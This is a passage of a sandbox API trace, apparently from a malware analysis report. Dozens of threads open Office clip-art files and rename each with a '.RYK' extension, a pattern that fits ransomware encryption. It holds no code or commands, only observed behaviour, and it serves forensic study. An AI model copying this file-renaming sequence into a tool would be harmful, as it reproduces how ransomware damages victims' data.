	[0242.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2287
	os_tid = 0x2958

	[0242.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG", dwFileAttributes=0x80) returned 0
	[0242.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.413] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2288
	os_tid = 0x295c

	[0242.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG", dwFileAttributes=0x80) returned 0
	[0242.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.412] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2289
	os_tid = 0x2960

	[0242.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF", dwFileAttributes=0x80) returned 0
	[0242.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.411] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.411] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2290
	os_tid = 0x2964

	[0242.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF", dwFileAttributes=0x80) returned 0
	[0242.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.409] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2291
	os_tid = 0x2968

	[0242.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF", dwFileAttributes=0x80) returned 0
	[0242.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2292
	os_tid = 0x296c

	[0242.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF", dwFileAttributes=0x80) returned 0
	[0242.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2293
	os_tid = 0x2970

	[0242.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF", dwFileAttributes=0x80) returned 0
	[0242.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.406] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2294
	os_tid = 0x2974

	[0242.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF", dwFileAttributes=0x80) returned 0
	[0242.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2295
	os_tid = 0x2978

	[0242.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF", dwFileAttributes=0x80) returned 0
	[0242.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2296
	os_tid = 0x297c

	[0242.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF", dwFileAttributes=0x80) returned 0
	[0242.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.403] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2297
	os_tid = 0x2980

	[0242.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF", dwFileAttributes=0x80) returned 0
	[0242.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.401] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2298
	os_tid = 0x2984

	[0242.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF", dwFileAttributes=0x80) returned 0
	[0242.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2299
	os_tid = 0x2988

	[0242.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF", dwFileAttributes=0x80) returned 0
	[0242.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2300
	os_tid = 0x298c

	[0242.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF", dwFileAttributes=0x80) returned 0
	[0242.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2301
	os_tid = 0x2990

	[0242.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF", dwFileAttributes=0x80) returned 0
	[0242.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.380] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2302
	os_tid = 0x2994

	[0242.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF", dwFileAttributes=0x80) returned 0
	[0242.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2303
	os_tid = 0x2998

	[0242.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF", dwFileAttributes=0x80) returned 0
	[0242.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2304
	os_tid = 0x299c

	[0242.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF", dwFileAttributes=0x80) returned 0
	[0242.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.531] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2305
	os_tid = 0x29a0

	[0242.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF", dwFileAttributes=0x80) returned 0
	[0242.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2306
	os_tid = 0x29a4

	[0242.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF", dwFileAttributes=0x80) returned 0
	[0242.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.529] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2307
	os_tid = 0x29a8

	[0242.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF", dwFileAttributes=0x80) returned 0
	[0242.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2308
	os_tid = 0x29ac

	[0242.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF", dwFileAttributes=0x80) returned 0
	[0242.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2309
	os_tid = 0x29b0

	[0242.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF", dwFileAttributes=0x80) returned 0
	[0242.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.525] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2310
	os_tid = 0x29b4

	[0242.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF", dwFileAttributes=0x80) returned 0
	[0242.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.592] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2311
	os_tid = 0x29b8

	[0242.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF", dwFileAttributes=0x80) returned 0
	[0242.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.607] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2312
	os_tid = 0x29bc

	[0242.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF", dwFileAttributes=0x80) returned 0
	[0242.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.466] CloseHandle (hObject=0xffffffffffffffff) returned 0
